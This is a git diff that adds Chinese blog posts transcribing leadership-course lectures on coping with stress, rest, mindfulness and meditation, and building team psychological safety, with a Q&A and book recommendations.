+玩耍，追求时间充裕度 + +心理学家蒂姆·凯瑟提过一个概念叫“时间充裕度”指的是：相较于财富充裕，有足够的时间去做不同的事情，时间上的充裕才是真的成功。 也就是说，如果我们在工作之余有充分的时间与家人或朋友玩耍，那才是成功，才是幸福。 + +这里，我特别讲一下“玩”的重要性。“玩”不仅对孩子很重要，对领导者、管理者也同样重要。在2008年，我曾收到斯图尔特·布朗博士写了一本关于《玩耍对孩子成长的重要性》的书，虽然书很厚，但字字珠玑。 + +我兴趣盎然、逐字精读、爱不释手，于是写了推荐语。书中提到玩耍可以增加人们幸福感 。另外，斯图尔特·布朗博士基于大量样本调研与统计，发现不娱乐的成年人在社交、情绪控制和认知上明显弱于有娱乐的成年人。 + +![](/uploads/2019/06/05-60.png) + +当我看完这本书后，我忽然意识到因为我是一个严肃的人，我努力学习、工作，无暇休闲娱乐。所以我的长子也有模有样地学着我的样子，变成一个严肃的小孩，不去玩耍。从那天我觉醒了这个意识以后，我就开始花更多时间来娱乐，我与我的家人一起打篮球、一起跳舞，一起欢声笑语。 + +同时我也将娱乐引入到我的工作中，和我的同事、员工一起欢乐开怀；在教学中引入更多的娱乐，帮助我的学生寓教于乐，这些都使我成为了更称职的家长、更高效的领导者。但是，如果我们每天每时每刻都要同时做很多件事情的时候，我们就没有时间，没有时间充裕度，也就不可能去娱乐。所以，我们要给自己留出娱乐的时间。 + +前面我曾讲到，91%的管理者不能最大化发挥自己的优势。原因有可能在于世界上80%-95%的成人，没有足够的时间去娱乐。这导致我们的孩子也没有时间去玩。我们忙于给他们报各种各样课外班、兴趣班去充满他们的时间，使他们不甘人后。 + +但是，家长的首要事情其实应该是简化我们孩子的生活。这样，他们才会有更多时间去玩耍、去发展个人爱好、去发挥创造力。 + +当然，这一切并不是一蹴而就的，而是需要花一段时间去慢慢简化。如果，我们能给家人和朋友留出足够的时间，去享受相聚的时光、享受生活的乐趣，才能从金钱上的富裕上升到精神上的富足。 + +这里给出一些你可以立刻采纳来改变你工作或生活的行动措施，尝试其中一两项，看看你是否能立刻感觉压力小了许多。 + +措施 ： + +1． 玩一种游戏，任何游戏都行。 + +2． 重新设计你的工作，使其具备一定娱乐性。 + +3． 花时间陪孩子。 + +4． 在没有高楼大厦的大自然中度过一段时间。 + +5． 唱歌。 + +6． 赞助一场社交活动，只邀请几个人参加（或午餐聚会）。 + +7． 和同事一起开怀大笑。 + +8． 做一次全身运动。 + +9． 学习一项新技能。 + +10. 给新结识的朋友写一封感谢信。 + +11. 送给最亲近的同事一个小礼物。 + +2．休息，让你元气复苏 + +应对压力的第二个方法是休息，压力真的不是问题所在。 + +当我们研究最优秀的领导者时，我们发现我们犯了一个错误，因为我们以前都是去研究怎么减小压力。实际上，这个研究方向根本就是错的，因为根本的问题不一定是压力的大小。 + +例如，当你去健身房练习举重时，更重的杠铃将会使你变得更健康、更强壮，这是好事；但同时，不断加码的杠铃也有可能会让你受伤、变得脆弱。 + +也就是说，问题不在压力的大小，而在于承受压力的过程中有没有休息、有没有恢复。 + +压力实际上对我们是有益的，这是优秀领导者的经验。普通人与高效领导者区别在于：普通人缺乏合理的精力管理机制，而高效领导者在工作中预留时间休息，从而有效提高做事效率。 + +![](/uploads/2019/06/05-61.png) + +低级休息——几十秒钟或几分钟 + +我有一个朋友在纽约做股票交易，他经常通宵达旦地加班，于是感到压力巨大经常生病，这是精力缺失造成的。在心理学上，精力管理理论主要内容包括活跃-休整基础循环——大脑在睡眠和清醒时都有90～120分钟的周期，既昼夜节律。 + +昼夜节律掌控一天里精力的涨退；生理指数：心跳、激素水平、肌肉张力和脑波活动等在环周期的前段都会升高，这个过程称作“活跃-休整基础循环”（BRAC）；睡眠缺失：导致思维能力下降，影响反应时间、专注力、记忆力、逻辑分析及辩证能力。 + +也就是说，当你长时间不休息的时候，就会导致你精力下降、影响工作效率。 + +于是，他们公司请我的一个同事去做咨询顾问。他一开始先建议他们每两个小时休息15分钟。但是那些交易员认为全球股票市场瞬息万变，15分钟会错过太多重要的消息，15分钟的休息是坚决不可能的。于是我同事只能改让他们每两个小时用30秒的时间做深呼吸，并重复三次，每次10秒。正是这样一个简单的休息，使他们工作效率、工作产出大大提高。 + +所以，一个微小的改变就会对你的工作和生活产生巨大的改变 ，即使它只有30秒，这是最低层次的休息。 + +中级休息——一天或一晚 + +中层次的休息是晚上睡个好觉——斯坦福、伯克利等世界顶级名校都有研究证明睡眠对你身体、心理及精神的重要性，与你的幸福感、领导力息息相关。 + +休息一整天也是中级休息，这种休息对你很重要。但是这休息的一天必须是这一天你都不再接电话、不再刷微信，而是去开卡丁车、去打球、去逛博物馆，去做一切你喜欢的事情，这才是真正意义的休息。越来越多的研究表明，当人们学会怎样完整休息一天，他们的工作效率就会比不休息的人高出很多。 + +高级休息——几周 + +另外，每年休两至三次一周长假对于提高领导力非常重要。 作为领导也是同理，如果你从来不休息，短期看，可能效率会更高。但从长期来看，你的管理能力会降低。 + +所以，我们需要花更多的时间去休息、去娱乐，哪怕你就是什么都不做也是一种放松。你要尊重自然界法则，就像老子所说“道法自然”。 + +万物春生夏长、秋收冬藏。海水亦有潮起潮落，上涨时，大浪滔天、波涛汹涌；退潮时，碧海蓝天、风平浪静。作为领导者我们也要向大自然学习，向圈子里最幸福、最成功的人学习。 + +3 重新定义压力 + +应对压力的第三个方法是改变对压力的看法。 + +诚然，压力对大多数人是一件坏事，但对那些最优秀的领导者来说，压力却也可能是一件好事，尤其是在充分休息后所遇到的压力。 + +压力也可以是有益的 + +我来给大家分享一个加州大学洛杉矶分校教授凯丽·麦克尼格尔做的关于压力带来的益处的研究。凯丽教授之前和大多数人一样，认为压力是有害的。她对一群压力颇大的领导者进行了调研。她发现，在这群压力颇大的领导者之中，有一小群人的健康程度比其他同样承受压力的领导者们都高，甚至比那些没啥压力的普通人都高！ + +于是，凯丽教授通过进一步研究发现，这一小群领导者和那些同样承受着巨大压力的领导者们的主要差别在于： + +第一，这一小群人休息的时间更长。 + +第二，也是很重要的一点，他们看待压力的方式不一样，他们重新定义了压力。 + +虽然他们也有压力，但是他们不会把压力当成一种负担，而是当成一种好处，是能帮助他们提升自我的好处。 + +正是由于观念上的转变，让他们变得更健康、更长寿。 + +我的学生克拉姆，他现在是斯坦福的教授。他曾做过一个更加精细的研究可以佐证我的观点。他将一些在生活中承受巨大压力的管理者和领导者分成了两组： + +第一组：克拉姆不对他们进行任何干预，让他们保持认为压力是坏事的观点。 + +第二组，克拉姆对他们进行了心理干预。他花了30分钟告诉他们，压力可以化为动力，压力可以是件好事，前提是你在承受压力的同时保持充足的休息。 + +克拉姆调研结果显示，保持压力是坏事看法的人群在健康、效率和成功几率上均低于对压力持积极看法的人群。由此可见，压力可以刺激更好的工作表现，前提是你以一个积极的心态面对压力 。 + +![](/uploads/2019/06/05-62.png) + +我们需要向那些最优秀的领导者学习，在观念上做出一些改变。我们仅需每天寻觅片刻宁静的时间去休息，你可以去和家人独处，去享受休憩的时光，去专心致志做一件事让自己恢复良好状态。 + +在保有充足休息的状态下，你再去感受压力带带给我们的好处——它使我们更专注、更有动力、更能激发潜能。这才是观念上的转变，你才可能获得更幸福、更健康、更成功的生活。 + +总结一下，正向领导力Sharp模型的第二个要素，我主要讲的就是如何应对给我们健康造成巨大影响的压力。而压力是我们作为领导者所必须承担的负重，能够良好应对压力就是对你领导力的重要提升。你所要做的就是： + +1.简化。活动的数量影响质量，你应该给自己一点时间充裕度。 + +2.休息。压力的大小不是问题，问题是你承受压力却从不休息。 + +3.重新定义压力。不要嘴上说，而是真的从观念上认为压力是个好东西。 + +一 般人会告诉你，压力会使你健康受损，所以我们要消除压力。但是，那些最优秀的人却告诉你，压力是好事，我们应该学会接纳压力，前提是花一点点时间去休息，有助于元气归来、精力充沛。 + +二、如何保持专注 + +下面我们来讲正向领导力Sharp模型第三个要素——专注（Absorption）。 + +从个人角度来讲，专注对于激发个人创造力、提高工作效率至关重要。 + +从组织角度来讲，专注有助于领导者营造高效活跃的工作环境，激发员工潜能，使其更专注高效的投入工作。 + +1．心有猛虎，细嗅蔷薇 + +“我们都知道，生活中最美好的时刻就是自己完全被某件事吸引住了，连手机都想不起来看，如果我们在这一刻全情投入、全心全意去关心某件事，焦虑便会褪去。” + +——雷·达里奥，桥水基金创始人，2018年最火爆领导力图书《原则》作者 + +提高专注度的第一个方法是用心体会工作和生活中的细微小事，于平凡中感受非凡。这非常有助于领导者营造和谐健康的组织环境。 + +大多数人认为，如果我能谈成一个项目，在工作中获得加薪、获得晋升，我才是达到了巅峰状态，我才会有非凡的体验。 + +对于部分女性来说，她第一个小孩呱呱坠地的时候才是她人生中的巅峰时刻。对于很多人来说，巅峰时刻、非凡体验在他们的一生中是聊聊的，是不多的，是稀有的。 + +我身边有些人就是这样。比如，他好不容易出国旅游到英国伦敦，在大英博物馆看到了一幅画，忽然之间，他好像感到了强烈的共鸣。这一刻他好像体会到了前所未有的感动，于是他将这一刻认为是奇迹，他认为他达到了生命中的一个巅峰时刻，获得了一次非凡的体验。 + +你们身边是不是也有很多这样的人呢？ + +但是，如果你去问那些最优秀的人，最棒的领导者们——你上次获得非凡体验是什么时候？ + +他们可能会说：“你这个问题很有意思啊。我想想哈。应该是今天上午我和同事开会的时候，我们碰撞出了很多有趣的想法，那个体验就很赞啊！还有中午吃过饭我去散步的时候看着路旁的树发芽了，我也觉得很棒啊！” + +也就是说，这些最优秀的领导者们会认为生活中的平凡小事就能给他们带来巅峰的体验。 + +这好像没道理啊，为什么他们能从平凡中感受到非凡呢？ + +因为他们始终保持全神贯注，这种状态能让他们和周围的人、周围的一切事物产生共鸣。所以，无论他们做什么事情，他们都会感到，现在所做的事情就是最特别、最有意义的事情 。 + +你可能还是不能理解其中的奥秘，我再用一个非常经典的积极心理学领域的问题来解释一下。在1999年，马丁·塞利格曼和米哈里·希斯赞特米哈伊，积极心理学领域的两位共同创始人，他们发表了一篇论文。题目是“为什么我们如此富有，却并不幸福？” + +你是否有过这种困惑呢？相比于我们的祖辈、父辈，我们比他们富有多了，我们的物质生活比他们丰富多了。但是为什么我们却感到更焦虑、更抑郁、更不快乐、更不幸福呢？ + +我在班奈特·戈尔曼所著的《情感炼金术》中找到了这个问题的最佳答案。她说道： + +虽然我们的财富在增加，但是我们却越来越不幸福。我们也许参加过饕餮盛宴，也许行走过异国他乡，也许拥有最风趣、最美丽的爱人，也许拥有最精致、最温馨的家。 + +但所有的这一切，如果我们不能全身心地投入其中、如果我们对这些美好缺少关注、如果我们有太多繁杂心思，那么，我们就会觉得眼前这一切美好的事物都是索然无趣、乏善可陈的 。 + +刚才我在讲应对压力时讲到了简化，其实也有要你保持专注的意思。就好像我们可能看起来是在跟我们的孩子一块玩，但是如果我们同时在做其他各种各样的事情的话，我们就不会享受跟孩子在一起的时光。所以，我们必须要全情投入于当下我们在做的事情。 + +她还写到： + +最简单的生活乐趣——吃一块新鲜烘烤的面包,欣赏一件艺术品,与爱人共度的时光——只要我们全神贯注，感受都会无比丰富。 + +获取满足感的根源在于我们的内在，在于我们的念头，而不是靠不断追求全新的外在事物来寻求满足感 。 + +爱因斯坦曾经说过，我们可以有两种生活方式： + +方式一：把所有东西都不当作是奇迹。 + +方式二：把所有东西都当作是奇迹。 + +大家可以好好想想，第二种生活方式才是可取的，因为确实所有东西都是奇迹。我和你们能在今天相遇就是奇迹；我们能每天能学习新的知识就是奇迹；我们能有东西可以吃就是奇迹。这些事情都不是理所当然的，天地之间，宇宙万物，都是奇迹。 + +不管我们在做什么，你如果想要享受这些奇迹，你就必须要更加专注、更加投入。否则，我们就只能在项目成功时，在升职加薪时，在孩子出生时，在爱上某个人时，在这些不是每时每刻都有会发生的事情上获得非凡的体验。 + +那些最好的、最成功的领导者，他们却能把生命中的每一刻都当成一个奇迹，从平凡中感受非凡。也正是这种每时每刻的专注使他们成为了最成功的领导者。 + +2．正念冥想，活在当下 + +“我每天都在做冥想，这是一个很明智的投资。做冥想是我成功的最重要因素，他给我带来创造力和开放的思维，使我头脑更加清醒，使我处事更加平静。” + +——雷·达里奥，桥水基金创始人，2018年最火爆领导力图书《原则》作者 + +提高专注度的第二个方法是冥想。 从积极心理学角度，人对幸福的感知来源于对财富、成功的外部追求与用正念去探寻生活的目标、心无旁骛做事的内部追求。冥想正是积极心理学内部追求的最主要表现形式，有助于提升正念、保持做事专注度，继而工作效率、工作满意度。 + +在最近四五十年里，越来越多西方的科学家、实践者，开始对东方世界发明的冥想感兴趣，不仅仅是打坐的那种冥想，太极、气功、瑜伽等等都是冥想的不同形式。 + +也有越来越多的公司开始强调正念冥想的练习。比如德意志银行、谷歌这样的公司，它们都大规模引进了正念培训项目。另外，还有越来越多商界的领袖都在做冥想，例如桥水基金创始人雷·达里奥认为冥想是他成功的最重要因素，使他更加平静、带给他创造力。 + +冥想的益处 + +那么，冥想究竟是怎样带给人好处的呢？ + +有两位教授曾做过一个研究，他们找了一些非专业的冥想者，给他们教授每周2-3小时、共持续8周的冥想课程，调研结果显示，参加冥想课人群在健康程度、专注程度和幸福感上均高于未参与人群。 + +同理，在生活和工作中，如果你可以保持专注、享受当下，就有助于提高幸福感、工作效率。这个时候，你可能忽然来了灵感，之前悬而未解的问题，也可能一下子豁然开朗了，你的领导力就会得到极大提升。 + +![](/uploads/2019/06/05-63.png) + +冥想的分类 + +冥想分为正式和非正式冥想。当你保持。正式的冥想可能包括打坐、气功、瑜伽，而非正式的冥想可能包括倾听、吃饭、写报告、电话会议等。如果我们日常没有时间正襟危坐的正式冥想，那么，非正式的冥想其实也能使你从中获得好处。 + +这道理可能有些绕，下面让我们详细阐述非正式冥想的表现形式。 + +1．倾听。调查研究显示，在领导者愿意倾听员工心声的企业，员工请病假的概率更低，工作满意度更高。而且更加有意思的是，即使领导者最终没有采纳员工的意见，员工依然会感到满足，因为他们能够识别自己是否真的被倾听了，他们能够感到自己的想法是不是真的被重视、被关注了。 + +这种倾听与诉说的过程，其实就是冥想，说的人专注的说，听的人专注的听，没有私心杂念，这就是正念冥想的过程。听与被听的人都能从这个非正式冥想过程中获益。他们的工作积极性、工作效率在这种双向沟通中都会得以提高。 + +![](/uploads/2019/06/05-64.png) + +但是，如果你所谓的倾听是不纯粹的，你听的过程中就一直在想我一会儿怎么回应他，我应该怎么反驳他。那你们的这个沟通很可能就不会使双方获益。因为听的人可能根本没听进去，而说的人也知道自己压根没有被尊重。我相信你们之前一定有过这种体会，无论作为说的人还是听的人，你们一定有过这种令人失望的交流的体验。 + +2.电话会议。你们很多人可能每天都会有电话会议。我不要求你们在一个小时的电话会议中都保持特别专注的状态，那基本不可能。你一定会走神，会干点别的事儿。但是，每次电话会议，请你花15分钟的时间认真地投入会议当中。这15分钟的专注就是冥想，就能带给你意想不到的好处，就能大大提高这场会议的效率。 + +3.写报告。很多人是怎么写报告的？当你在公司环顾四周时，你会发现，不少人是边写报告，边发电子邮件，边回微信。可能电子邮件和微信都是和工作相关的内容。 + +但是，能不能就花20分钟的时间，去认真构思、去心无旁骛地撰写一下这个报告。这20分钟就是冥想。这20分钟就可以提高你的创造力和完成这篇报告的效率。 + +让我们再来做个小测试，请核对自己在以下事项上是否足够专注。 + +![](/uploads/2019/06/05-65.png) + +如果你四项以上都回答是，那么，恭喜你，请再接再厉，继续活在当下、乐享生活。相反，如果你大多数选择都回答否，那么，我希望你能通过非正式冥想的具体操作方法提升注意力水平。 + +冥想对领导者的作用 + +在今天，不管你已经是管理者、领导者，还是未来的管理者、领导者，你们真的应该放下浮躁的心情，活在当下。 + +我曾给我的老师菲利普·斯通教授做了6年助教。他是最早在哈佛讲授积极心理学课程的。6年间，我就像学徒一样帮助他批论文、准备课程。在这个过程中，我一直享受其间。这6年让我更加深入研究了积极领导力这门学科，开拓我的视野，对日后我的研究产生了极大的影响。 + +终于，在1999年，他带我参加了世界上第一次积极心理学会议，让我认识了积极心理学创始人马丁·塞利格曼，他是我的偶像；让我认识了米哈里·希斯赞特米哈伊，我和他谈到了心流理论、谈到了专注，他关于心流那本书你们真的应该读一读；还有罗伯特·艾蒙斯，他是感恩研究领域的专家，我和他交流了感恩的重要性。整个会议使我受益匪浅。而且，在这个会议中我还收获了对我影响深远的一课。 + +那是一天会议的午饭后，我的房门被敲响了。我打开门，看到是菲利普·斯通教授。 + +我问他：“有事吗，教授？” + +他说：“泰勒，要不要一起走走，散散步？” + +我问他：“目的地是哪里？” + +他说：“没有目的地，就只是散散步。” + +我不知道你们是否能体会这段对话的意义。但这段对话对我来说却是很重要的一课，他告诉我不要关注目的地，而是关注散步本身！你也可以把这种散步当成是非正式的冥想。 + +在2005年、2006年，我正式接管了菲利普·斯通教授的课，也就是后来被你们所熟知的哈佛幸福课，这使我真正意义上成为一名教师，让我倍感荣幸。对我来讲，冥想是非常重要的一个人生课程，它无处不在。 + +你不一定都要正襟危坐。在走路的时候，专注眼前的路；在倾听的时候，专注眼前的人；在吃饭的时候，专注你的食物。这能在不知不觉中给你带来极大的影响和改变。 + +通过冥想去挖掘内心的正念，使我们从平凡到非凡。 我们需要做的就是把生活中每一个平凡的小事变成非凡的体验，这等于是我们每一刻都在收获冥想的益处。 + +最后，总结一下，讲到专注，也就是正向领导力Sharp模型中的第三要素。大多数普通人觉得自己的最佳表现、或是巅峰体验是非常罕见的，甚至在一生中可能只会发生几次，这是平庸的想法。 + +那些最成功的、最佳的领导者们告诉我们的是——你必须要投入正念以便保持专注，这会带给你巅峰体体验；你通过训练专注力以激发潜能。最终，你将变平凡为非凡。 这是你在生活中时时刻刻都可能做到的，这来源于你周围发生的事情、你遇到的人，更来源于你的内心。 + +![](/uploads/2019/06/05-66.png) + +谢谢大家！ + +问答 + +问题1：请问冥想有什么具体的方法？我们应该通过怎样的方式去检验我们冥想的效果？ + +泰勒： 我先来给大家讲一下冥想研究的历史，最早关于冥想的研究是针对那些专业的冥想者的，这些人有的已经练习冥想30年了。他们可以轻松闭关一年，一天打坐8-12小时。 + +研究者主要研究了这些人大脑皮层的左前额叶和右前额叶活跃程度的比例。因为之前已经有研究证明如果人的左前额叶比右前额叶更活跃的话，那这个人的幸福感就更强；反之，就更容易悲伤、抑郁、沮丧。 + +当这些长年冥想者的检测结果出来后，研究人员一开始以为是不是机器坏了。因为检测结果显示这些冥想者的左前额叶活跃程度高到了一个不可思议的程度。你甚至可以说这些冥想者就是世界上最幸福的人！也是在越来越多类似的科学研究结果出现之后，冥想才开始被现代西方社会所推广和传播。 + +关于冥想的方法，我在前面的课程里其实说了很多了，正式的有打坐、气功、瑜珈、太极。非正式也有很多，就比如听音乐也可以是冥想。冥想并不拘泥与形式，但是冥想有一些你们需要注意的关键点。 + +关键点1：专注。 + +不管你采用哪种冥想方式，你都要专注其中。换句话说，就是你要身心俱在。如果你采用练太极的方式，你就必须集中精力，专注于你的呼吸，专注于你的动作。如果你采用听音乐的方式，你就只去认真用心听音乐，别干其他的。 + +关键点2：重新聚焦。 + +在你刚刚知道了冥想一定要专注之后，我再颠覆你一下。冥想确实需要专注，但冥想成功与否的检测标准却不是你是否能一直专注于做一件事情。并不是说你只要一走神，你的冥想就失败了。冥想的本质其实就是重新集中注意力的过程，从这个过程中锻炼你保持专注的能力。 + +我说的更具体一点，你们会比较好理解。有些人会说我不会冥想，因为我稍微专心一下，脑海里就会有一些杂念蹦出来，我不能保持那个心无旁骛的状态。但事实上冥想根本就不是让你一直保持那个状态。有一个僧人叫咏给·明就仁波切，他写的《世界上最快乐的人》这本书里提到过如何练习冥想。他说冥想的过程就是你走神了，然后你注意到自己走神了，然后你重新集中注意力的过程。 + +也许你5分钟或者10分钟走神几次，甚至几十次，这都没关系。关键在于在你走神之后，能否把注意力重新集中回来。 + +所以，冥想的第三个关键点就是冥想时没有标准形式的，你要找到适合自己的冥想方法。 + +曾经有很多年，我想尝试通过打坐的方式去冥想，但这个方法不太适合我，我养成不了这个习惯。于是，我就开始练习瑜珈、气功，我发现这个很适合我，因为我可以做很多动作，这会让我神清气爽。现在，我基本靠听音乐来冥想。并不是说这些就是正确的冥想方式，这只是对我来讲非常适合而已。就像我们上周讲的“优势”一样，你要找到你的优势，而不是别人的优势。冥想也是这样，你要找到适合自己的那套方法，而不是别人觉得合适的方法。 + +问题2：随着人工智能等前沿科技快速的发展，我们的生活发生了巨变，人的价值大大被弱化了，似乎社会已经不需要那么多人去创造价值了。请问在这种情况下，我们应该如何去抉择和定位自己？ + +泰勒：这个问题很好，也很重要。正如你说的，世界在不断变化，尤其是近二十至五十年间，中国社会发生了翻天覆地的变化。未来再过十年，中国也一定和今天又有长足的发展和改变。 + +因此，现在很多教育学者认为：今天学校教授的知识，等到那些学生走向社会的时候是不是就过时了，因为社会变化太快了。 我爸爸是个工程师，他学生时代学的工程相关知识在他工作的那些年里并没有本质变化。但是如果今天我学工程知识，会发现今天和二十年前会大相径庭。 + +科技的发展让我们产生恐惧。过去的一些重复性工作，例如开车、搬运东西这些工作十年之后都会由机器完成，几百万人可能失业，例如飞行员、船长、出租车司机，还有那些工厂生产线上的工人，这些工作可能十年以后就不复存在了。 + +日本有一个酒店，酒店90%的员工都是机器人。当你去酒店时，是机器人来欢迎你，并帮你把行李搬到房间。现在这种酒店可能还是个例，但是再过几年呢？那些酒店的员工，他们路又在何方呢？ + +答案是他们必须要做机器做不了的事情，例如创新，创造力，团队合作能力。因为人和机器很大的一个不同就是人是有感受的、有情绪的。我们需要突破思维定式，需要对事物更加敏感，才能不被机器所替代。所以，感受、创新、协作这些软性的技能在今天变得至关重要，而这些技能是可以通过心理学培养出来的。 + +时光回到30年前，如果让我教授领导力的话，我肯定不会教你基于积极心理学的领导力，肯定不会教你们去提升自己的正面情绪。但随着科技的发展，基于积极心理学的领导力反而越来越被认可和重视，因为我教你提升的东西是机器所不能替代的。 + +举一个简单的例子，我长年给一些大的金融机构做培训。那些机构的员工，也就是金融顾问们所做的事情就是告诉你怎么理财，怎么花钱，怎么投资。在美国，从事金融咨询顾问的人就大概就有好几万人。 + +但是，在今天已经有越来越多的金融顾问业务可以由机器人来做了。那些之前做金融顾问的人现在在干嘛呢？他们都在干和你正在做的一模一样的事情，他们在学积极心理学，在学那些机器替代不了的软性技能，例如领导力、创新、创造力、团队协作。 + +这些软性技能是你们作为领导者所必须提升的。因为，在未来机器人、AI会取代很多人类做了几千年、甚至几百万年的事情。世界在不断的变化，你要为未来做好准备，你想要在未来成功，你就必须要培养这些我课上一直在讲的这些东西，就是情感方面的技能。这样的话，你才能够过上更加幸福和富足的生活。 + +谢谢！ + +推荐书目一《心流：最优体验心理学》 + +本讲之中，本-沙哈尔博士对Sharp模型第二要素“专注”的讲授可能会让有些同学有进一步了解和学习的欲望。 + +一句话介绍他希望教给大家的内容就是——专注能带给你巨大的好处，无论是在工作还是生活中。 + +这个观点最早并不是由本-沙哈尔提出的，而是由积极心理学领域开创者之一米哈里•希斯赞特米哈伊最早提出。 + +他把—— + +“埋头钻研一个问题，忘了时间” + +“全情投入到某事，忘了自己” + +“凭借勤学苦练，最终搞定一件难事” + +这些全神贯注、投入忘我、如有神助的极致体验，称为“心流”。 + +“心流”体验下，人会处于巅峰状态，工作效率、创造力、想象力都会得到极大提升。 + +“心流”体验后，人会获得强烈的满足感、掌控感、愉悦感，并且充满能量。 + +而“心流”体验下的工作状态和“心流”体验后的精神状态，正是一个领导者应该具备和达到的领域。 + +那么，我们应该如何达到或者获得“心流”状态，如何进入全情忘我、如有神助的巅峰状态，从而成为一个更加优秀的领导者？请阅读本讲推荐书目——《心流：最优体验心理学》，积极心理学奠基人,创造力大师米哈里•希斯赞特米哈伊开山之作，该书自1990年出版以来，已被翻译成30余种文字，影响了全球千万研究者和读者。 + +推荐书目二《深度工作：如何有效使用每一点脑力》 + +本讲之中，本-沙哈尔博士讲到专注有助于个人激发创造力、提高工作效率。从组织角度，有助于领导者激发员工潜能、营造高效活跃的工作环境。 + +那么，在碎片化的时代，我们应该如何将碎片化知识具象化，提高工作技能？我们又应该如何提高工作效率、创造更多价值、成为公司中向上的力量，使事业扶摇直上、走向人生巅峰？ + +《深度工作：如何有效利用每一点脑力》由麻省理工学院计算机博士卡尔·纽波特撰写，荣登《纽约时报》、《华尔街日报》畅销书排行榜前列。该书从神经学、心理学、哲学三个角度诠释“深度工作”对职场人的意义，作者以自己多年实践经验首创“深度工作”四原则，层层深入、鞭辟入里，有助于读者打破思维定式、提高记忆力水平，让高效工作成为一种习惯，从而获得职业晋升。 + +推荐书目三《精力管理》 + +本讲中，本-沙哈尔博士提到普通人与高效领导者区别在于：普通人缺乏合理的精力管理机制，而高效领导者在工作中预留时间休息，从而有效提高做事效率。 + +在互联网+时代，996的工作制是否常常让你感到精力不够用、力不从心？当老板让你当天出个方案时，你是否常常感到大脑当机、才思枯竭？那么，我们应该如何进行精力管理，从而成为高效能的职场人士？ + +《精力管理》由全球著名心理学家吉姆·洛尔博士与精力项目机构CEO和总裁托尼·施瓦茨联合撰写，畅销美国12年，曾荣登亚马逊网站及《华尔街日报》商业畅销书排行榜首位，已被世界500强企业列为员工培训书目。 + +书里阐述作者近30年心理学成果，透过日常生活中习以为常的现象洞悉精力管理本质。同时，该书提供大量的思维导图、象限图、问题列表、作息计划表格，日志模板等，帮助读者构建具有实际操作性“精力管理模式”。 diff --git a/_posts/2019-06-05-405-mba0203.md b/_posts/2019-06-05-405-mba0203.md new file mode 100644 index 0000000..7adf2d0 --- /dev/null +++ b/_posts/2019-06-05-405-mba0203.md @@ -0,0 +1,594 @@ +--- +layout: post +title: 【领导力模块】 第3节 如何打造最优领导关系 +pid: 405 +tags: [mba] +--- + +引言 + +上一讲中，本-沙哈尔博士讲述了正向领导力Sharp模型之如何应对压力、保持专注。我们可以通过简化生活、适当休息、变压力为动力来应对压力，使精力充沛、激发创造力；通过正式和非正式冥想提高工作专注度、工作效率。 + +本节课是正向领导力课程完结篇，将讲述Sharp模型最后两个要素——关系、目的、意义，沙哈尔博士将主要回答两个问题： + +第一，如何打造最优领导关系？ + +你是否常常被组织内部错综复杂的关系搞得痛苦不堪、身心俱疲？ + +你是否常常因为应接不暇地工作，从而导致情绪失控、迁怒他人？ + +第二，如何找到工作的意义？ + +你是否常常感到自己是在被动、机械地工作，而不知道工作的意义在哪？ + +本讲内容结构如下： + +一、如何打造最优领导关系 + +1. 关系对组织的重要性 + +2. 构建团队心理安全关系 + +3. 平衡自身情绪 + +二、如何挖掘工作的意义 + +1. 工作意义的不同认知 + +2. 寻找工作意义的方法 + +一、如何打造最优领导关系 + +1. 关系对现代组织的重要性 + +关系对于领导者、对于普通员工，对于我们工作、生活日益重要。 忆往昔，在过去五十至一百年间，组织层级为金字塔式结构，层级间联系不紧密，意味着CEO只需要告诉高管任务是什么，然后由高管传达给员工。 + +![](/uploads/2019/06/05-67.png) + +看今朝，随着科技高度发展，我们每天充斥着海量的信息、面对着众多的技术变革，这就需要我们去不断学习以适应时代发展。 + +在组织上，已经形成扁平化层级结构，意味着组织已经不是只有一个领导者，员工唯老板马首是瞻；而是在每个层级都有领导者，各个层级领导者需要通力合作，这样才能推动组织成功。 + +在组织的任何层面，员工都需要全情投入、需要有创造力、需要与团队合作，从而激发团队成员斗志、提高组织凝聚力，最终构建高效的组织环境。 由此可见，关系——这种团队合作的能力变得尤为重要。 + +![](/uploads/2019/06/05-68.png) + +2. 构建团队心理安全关系 + +那么，我们怎样培养出这种健康的关系呢？答案就是建立团队心理安全关系。 + +2.1 团队心理安全重要性 + +我的导师理查德•哈克曼认为最成功的团队有以下特征： + +1.拥有非常明确的目标、愿景。 + +2.拥有完成任务所需资源。 + +3.团队成员能够自己寻找解决问题的方法。 + +4.团队成员有足够的自由去表达及实施自己的想法。 + +5.团队成员多元化构成，这样就可以集思广益，帮助团队达成目标。 + +6.团队成员间万众一心、精诚合作。 + +艾米•埃德蒙森根据此研究作了一个假设：符合理查德·哈克曼高效团队特征的医疗团队，在工作当中会发生更少的医疗事故吗？艾米通过大量调研美国医院的组织结构发现，那些符合哈克曼高效团队标准的团队反而会发生更多的医疗事故。 + +![](/uploads/2019/06/05-69.png) + +这个结果让艾米很诧异，于是她通过重新调研发现，其实并不是高效团队标准的团队医疗事故概率高，而是他们没有隐瞒地报告了自己的错误。也就是说，报告犯错比率和实际犯错比率是一样的。相反，那些不符合高效标准的团队隐瞒了自己的错误而没去报告，所以实际医疗事故比率比上报医疗事故比率更高。 + +![](/uploads/2019/06/05-70.png) + +所以，艾米提出了一个“团队心理安全”的概念：指一个人在团队里报告自己错误的时候，在心理上是否感到安全。 心理安全感高的团队比心理安全感低的团队更愿意坦诚失败、复盘错误、承担风险。 + +![](/uploads/2019/06/05-71.png) + +2.2 团队心理安全评判标准 + +艾米通过七个问题来判断员工的心理安全指数，员工通过非常同意或反对表态。 + +问题1：如果你在这个团队中犯了一个错误，你会不会因为感到不安全而去隐瞒错误？如果你勇于承认错误，说明你的团队给予你改正错误的机会，有助于提振自信。 + +问题2：你所在团队的成员是否能够提出棘手的难题？如果你能同意这一点，说明你的团队开卷有益、混沌初开，以后会羽翼渐丰、功成名就。 + +问题3：你所在的团队会不会因为成员有不同意见而遭到排挤？如果团队允许成员各抒己见、畅所欲言，那么团队就会持续创新、更上一层楼。 + +问题4：你所在的团队是否允许冒险？只有冒险才能够去学习，有时候我们需要孤注一掷、破釜沉舟，也许你会一败涂地、铩羽而归，但是你也会吸取经验、引以为戒。 + +问题5：你向所在团队成员寻求帮助是否非常困难？如果你感到团队成员间乐于助人、同心协力，那么团队就会一起学习、一起成长、一起进步。正所谓赠人玫瑰、手有余香。 + +问题6：你所在的团队是否有人会破坏、剽窃你的工作成果？心理安全度高的团队会尊重成员各自工作成果、不会有人为了升职而不择手段。 + 